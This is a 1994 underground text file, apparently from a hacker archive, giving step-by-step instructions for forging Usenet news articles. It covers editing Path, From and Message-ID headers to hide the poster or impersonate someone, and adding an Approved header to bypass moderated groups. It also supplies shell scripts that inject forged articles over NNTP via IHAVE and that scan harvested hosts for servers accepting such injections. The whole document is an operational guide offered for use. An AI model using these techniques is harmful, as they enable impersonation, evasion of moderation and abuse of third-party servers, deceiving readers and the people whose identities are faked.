home *** CD-ROM | disk | FTP | other *** search
- Subject: Better living through forgery
- Date: Wed Aug 17 22:37:09 1994
-
- Anonymous netnews without "anonymous" remailers
-
- Save any news article to a file. We'll call it "hak" in this example.
-
- Edit hak, and remove any header lines of the form
-
- From some!random!path!user (note: "From ", not "From: " !!)
- Article:
- Lines:
-
- Shorten the Path: header down to its LAST two or three "bangized" components.
- This is to make the article look like it was posted from where it really was
- posted, and originally hit the net at or near the host you send it to. Or
- you can construct a completely new Path: line to reflect your assumed alias.
-
- Make some change to the Message-ID: field, that isn't likely to be
- duplicated anywhere. This is usually best done by adding a couple of
- random characters to the part before the @, since news posting programs
- generally use a fixed-length field to generate these IDs.
-
- Change the other headers to say what you like -- From:, Newsgroups:,
- Sender:, etc. Replace the original message text with your message.
- If you are posting to a moderated group, remember to put in an Approved:
- header to bypass the moderation mechanism.
-
- Write out the changed file, and send it to your favorite NNTP server that
- permits transfers via the IHAVE command, using the following script:
-
- =======================
- #! /bin/sh
- ## Post an article via IHAVE.
- ## args: filename server
-
- if test "$2" = "" ; then
- echo usage: $0 filename server
- exit 1
- fi
- if test ! -f $1 ; then
- echo $1: not found
- exit 1
- fi
-
- # suck msg-id out of headers, keep the brackets
- msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
- sed 's/.*-[Ii][Dd]: //'`
- echo $msgid
-
- ( sleep 5
- echo IHAVE $msgid
- sleep 3
- cat $1
- sleep 1
- echo "."
- sleep 1
- echo QUIT ) | telnet $2 119
- =======================
-
- If your article doesn't appear in a day or two, try a different server.
- They are easy to find. Here's a script that will break a large file
- full of saved netnews into a list of hosts to try. Edit the output
- of this if you want, to remove obvious peoples' names and other trash.
-
- =======================
- #! /bin/sh
- FGV='fgrep -i -v'
- egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
- /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
- =======================
-
- Once you have your host list, feed it to the following script.
-
- =======================
- #! /bin/sh
-
- while read xx ; do
- if test "$xx" = "" ; then continue;
- fi
- echo === $xx
- ( echo open $xx 119
- sleep 5
- echo ihave k00l@x.edu
- sleep 4
- echo .
- echo quit
- sleep 1
- echo quit
- ) | telnet
- done
- =======================
-
- If the above script is called "findem" and you're using csh, you should do
-
- findem < list >& outfile
-
- so that ALL output from telnet is captured. This takes a long time, but when
- it finishes, edit "outfile" and look for occurrences of "335". These mark
- answers from servers that might be willing to accept an article. This isn't a
- completely reliable indication, since some servers respond with acceptance and
- later drop articles. Try a given server with a slightly modified repeat of
- someone else's message, and see if it eventually appears.
-
- You will notice other servers that don't necessarily take an IHAVE, but
- say "posting ok". You can probably do regular POSTS through these, but they
- will add an "NNTP-Posting-Host: " header containing the machine YOU came from.
-
- -------------------------------
-